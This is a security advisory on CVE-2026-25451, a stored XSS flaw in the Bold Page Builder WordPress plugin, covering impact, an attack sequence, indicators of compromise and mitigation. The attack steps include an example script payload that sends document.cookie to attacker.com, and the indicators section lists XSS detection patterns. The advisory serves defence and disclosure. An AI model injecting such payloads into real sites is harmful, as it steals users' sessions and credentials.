CVE-2026-25451: 
WordPress vulnerability analysis and mitigation

CVE-2026-25451 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder WordPress plugin by boldthemes. It affects all versions of the plugin up to and including 5.6.9, and stems from improper neutralization of user-supplied input during web page generation (CWE-79). The vulnerability was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and is categorized as a Stored XSS variant, meaning malicious scripts are persisted server-side and executed in victims' browsers upon page load. Exploitation requires low privileges (e.g., a contributor or author-level WordPress account) and user interaction, such as an administrator or other authenticated user visiting a page containing the injected payload. The attack vector is network-based with low complexity, and the scope is changed, indicating impact can extend beyond the vulnerable component itself (Feedly).

Successful exploitation allows an attacker with low-privileged access to inject persistent malicious JavaScript into pages built with the Bold Page Builder plugin, which then executes in the browsers of other users — including administrators — who view the affected content. This can result in session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection to malicious sites. The CVSS scope change indicates that confidentiality, integrity, and availability impacts extend to components beyond the plugin itself, such as the broader WordPress site and its users (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been identified for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. It has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged authenticated account on the target WordPress site, which limits opportunistic mass exploitation but remains a realistic threat in targeted scenarios (Feedly).

1. Reconnaissance: Identify WordPress sites running the Bold Page Builder plugin (version ≤ 5.6.9) using tools like WPScan or by inspecting page source for plugin-specific assets.
2. Obtain low-privileged access: Register or compromise a low-privileged WordPress account (e.g., contributor or author role) on the target site.
3. Inject malicious payload: Using the Bold Page Builder editor, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within a page or post element.
4. Persist the payload: Save or publish the page/post, causing the malicious script to be stored in the WordPress database.
5. Trigger execution: When an administrator or other authenticated user visits the affected page, the stored script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Feedly).

• Logs: WordPress access logs showing POST requests to page/post editing endpoints (e.g., /wp-admin/post.php) from low-privileged accounts containing script tags or encoded JavaScript payloads.
• Database: Presence of <script>, javascript:, or encoded XSS strings (e.g., %3Cscript%3E) in WordPress post content or page builder metadata fields associated with Bold Page Builder.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after loading pages built with Bold Page Builder, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for stored XSS; however, unexpected modifications to WordPress database exports or backup files may indicate tampering.

Users should update the Bold Page Builder plugin to a version beyond 5.6.9 as soon as a patched release is made available by boldthemes. In the interim, site administrators should restrict plugin editing capabilities to trusted, high-privileged users only, and consider disabling the plugin if it is not essential. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional defense-in-depth while awaiting an official patch (Feedly).